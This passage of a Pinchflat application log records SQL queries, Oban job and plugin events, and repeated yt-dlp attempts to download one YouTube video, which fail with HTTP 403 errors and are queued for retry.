LIMIT 1 [] 03:08:15.691 [debug] QUERY OK source="settings" db=0.1ms idle=163.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:15.691 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f7/62/f762112d76cfe8006cab07d985abe0bcc3c8116ef9695ad208efb1b1ff9f219d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:08:20.474 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f7/62/f762112d76cfe8006cab07d985abe0bcc3c8116ef9695ad208efb1b1ff9f219d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 03:08:20.474 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 03:08:20.475 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8468999,"event":"job:exception","queue_time":979392,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:08:21.168 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:51.169 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.458 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:09:21.170 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:51.171 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.459 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:10:21.172 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:51.173 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.460 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:11:21.175 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:51.177 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.461 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:12:21.178 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:51.179 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.462 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:13:21.181 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:28.825 [info] GET / 03:13:28.825 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 03:13:28.826 [debug] QUERY OK source="settings" db=0.1ms idle=477.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:28.826 [debug] QUERY OK source="media_profiles" db=0.0ms idle=298.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 03:13:28.826 [debug] QUERY OK source="sources" db=0.0ms idle=299.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 03:13:28.836 [debug] QUERY OK source="media_items" db=9.7ms idle=299.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:13:28.837 [debug] QUERY OK source="media_items" db=0.2ms idle=309.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:13:28.837 [debug] QUERY OK source="settings" db=0.0ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:28.837 [debug] QUERY OK source="settings" db=0.1ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:28.837 [debug] QUERY OK source="settings" db=0.0ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:28.838 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:13:28.839 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:13:28.839 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:13:28.840 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 03:13:28.844 [debug] QUERY OK source="media_items" db=3.1ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:13:28.845 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:13:28.846 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 03:13:28.847 [info] Sent 200 in 21ms 03:13:51.182 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.463 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:14:21.183 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:51.184 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.464 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:15:21.185 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:51.187 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.465 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:16:21.188 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:51.189 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.466 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:17:21.190 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:45.636 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775027865636716955,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:17:45.637 [debug] QUERY OK source="media_items" db=0.4ms idle=1109.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 03:17:45.637 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:17:45.637 [debug] QUERY OK source="sources" db=0.1ms idle=1110.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:17:45.638 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:17:45.638 [debug] QUERY OK source="media_items" db=0.2ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 03:17:45.639 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 03:17:45.639 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:17:45.639 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:45.639 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:45.640 [debug] Running yt-dlp command for action: get_downloadable_status 03:17:45.640 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:45.640 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:45.640 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:45.640 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/9b/349b17073da77a155b0c47e424891b6c9102e7bef7d0088488e9819a74bc5ac6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:17:49.591 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/9b/349b17073da77a155b0c47e424891b6c9102e7bef7d0088488e9819a74bc5ac6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:17:49.591 [debug] Running yt-dlp command for action: download 03:17:49.591 [debug] QUERY OK source="settings" db=0.1ms idle=958.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:49.591 [debug] QUERY OK source="settings" db=0.0ms idle=64.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:49.592 [debug] QUERY OK source="settings" db=0.1ms idle=64.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:49.592 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/67/41/6741d2d71bd1ae08aecb7d5ec9878fb1b80513f5fca13fe3ab2c24fe6a4ce282.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:17:51.191 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:54.057 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/67/41/6741d2d71bd1ae08aecb7d5ec9878fb1b80513f5fca13fe3ab2c24fe6a4ce282.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 03:17:54.057 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 03:17:54.058 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8420880,"event":"job:exception","queue_time":160811,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:18:00.467 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:18:21.193 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:51.194 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.468 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:19:21.196 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:51.197 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.469 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:20:21.198 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:51.199 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.470 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:21:21.200 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:51.202 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.471 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:22:21.203 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:51.205 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.472 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:23:21.206 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:51.207 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.473 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:24:21.208 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:51.209 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.474 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:25:21.210 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:51.212 